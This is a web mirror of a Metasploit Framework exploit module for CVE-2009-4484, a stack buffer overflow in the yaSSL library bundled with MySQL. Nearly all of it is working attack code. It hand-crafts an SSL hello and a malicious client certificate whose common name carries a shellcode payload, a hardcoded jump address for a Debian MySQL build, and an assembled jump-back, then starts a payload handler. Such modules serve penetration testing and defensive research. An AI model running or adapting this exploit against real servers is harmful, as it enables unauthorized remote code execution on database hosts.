CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/mysql/mysql_yassl_getname.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
17
implementation bundled with MySQL. By sending a specially crafted
18
client certificate, an attacker can execute arbitrary code.
19
20
This vulnerability is present within the CertDecoder::GetName function inside
21
"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
22
within a parent function's stack frame.
23
24
NOTE: This vulnerability requires a non-default configuration. First, the attacker
25
must be able to pass the host-based authentication. Next, the server must be
26
configured to listen on an accessible network interface. Lastly, the server
27
must have been manually configured to use SSL.
28
29
The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
30
on Windows XP SP3, these protections successfully prevented exploitation.
31
32
Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
33
present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
34
package were not exploitable due to the use of the compiler's FORTIFY feature.
35
36
Although suse11 was mentioned in the original blog post, the binary package they
37
provide does not contain yaSSL or support SSL.
38
},
39
'Author' => [ 'jduck' ],
40
'License' => MSF_LICENSE,
41
'References' =>
42
[
43
[ 'CVE', '2009-4484' ],
44
[ 'BID', '37640' ],
45
[ 'BID', '37943' ],
46
[ 'BID', '37974' ],
47
[ 'OSVDB', '61956' ],
48
[ 'URL', 'http://web.archive.org/web/20100129041727/http://secunia.com:80/advisories/38344/' ]
49
],
50
'Privileged' => true,
51
'DefaultOptions' =>
52
{
53
'EXITFUNC' => 'thread',
54
},
55
'Payload' =>
56
{
57
'Space' => 1046,
58
'BadChars' => "",
59
'StackAdjustment' => -3500,
60
'DisableNops' => true
61
},
62
'Platform' => 'linux',
63
'Targets' =>
64
[
65
[ 'Automatic', { } ],
66
[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ]
67
],
68
'DefaultTarget' => 0,
69
'DisclosureDate' => '2010-01-25'))
70
71
register_options([ Opt::RPORT(3306) ], self)
72
end
73
74
def exploit
75
76
connect
77
78
# read the mysql server hello :)
79
version = nil
80
if (buf = sock.get_once(-1, 5) || '')
81
#print_status("\n" + Rex::Text.to_hex_dump(buf))
82
if (buf =~ /is not allowed to connect/)
83
fail_with(Failure::Unreachable, 'The server refused our connection!')
84
end
85
86
len1,cmd = buf[0,5].unpack('VC')
87
rest = buf[5,len1]
88
idx = rest.index("\x00")
89
if (idx)
90
version = rest[0,idx]
91
print_status("Server reports version: #{version}")
92
end
93
end
94
95
# handle automatic target selection
96
mytarget = nil
97
if (target.name =~ /Automatic/)
98
print_status("Attempting to locate a corresponding target")
99
version = "(" + version + ")"
100
targets.each { |tgt|
101
if (tgt.name.include?(version))
102
mytarget = tgt
103
end
104
}
105
106
if (not mytarget)
107
fail_with(Failure::NoTarget, 'Unable to detect target automatically')
108
else
109
print_status("Using automatically detected target: #{mytarget.name}")
110
end
111
else
112
mytarget = target
113
print_status("Trying target #{mytarget.name}...")
114
end
115
116
# create/send the hello packet
117
hello = [0x01000020].pack('V')
118
hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
119
hello << "\x00" * 20
120
hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
121
hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
122
hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
123
hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
124
hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
125
hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
126
hello << "\x00\x03\x02\x01\x00"
127
sock.put(hello)
128
129
130
# build a cn that will trigger the vulnerability
131
cn = rand_text(payload_space - payload.encoded.length)
132
cn << payload.encoded
133
cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
134
# NOTE: x in above (also gets passed to free())
135
pad = 1074 - payload_space
136
cn << rand_text(pad)
137
cn << [mytarget['JmpEsp']].pack('V')
138
distance = 4 + pad + 8 + payload.encoded.length
139
cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
140
141
cert = "\x2a\x86\x00\x84"
142
cert << [cn.length].pack('N')
143
cert << cn
144
cert = "\x30"+
145
"\x82\x01\x01"+
146
"\x31"+
147
"\x82\x01\x01"+
148
"\x30"+
149
"\x82\x01\x01"+
150
"\x06"+
151
"\x82\x00\x02" +
152
cert
153
154
cert = "\xa0\x03" +
155
"\x02\x01\x02" +
156
"\x02\x01\x00" +
157
"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
158
cert
159
160
# wrap in 2 sequences
161
cert = SNMP::BER.encode_tlv(0x30, cert)
162
cert = SNMP::BER.encode_tlv(0x30, cert)
163
164
cert1 = big_endian_24bit(cert.length) + cert
165
certs = big_endian_24bit(cert1.length) + cert1
166
167
handshake = "\x0b" + big_endian_24bit(certs.length) + certs
168
msg = "\x16\x03\x01"
169
msg << [handshake.length].pack('n')
170
msg << handshake
171
172
sock.put(msg)
173
174
handler
175
disconnect
176
end
177
178
179
def big_endian_24bit(len)
180
uno = (len >> 16) & 0xff
181
dos = (len >> 8) & 0xff
182
tre = len & 0xff
183
[uno,dos,tre].pack('C*')
184
end
185
end
186
187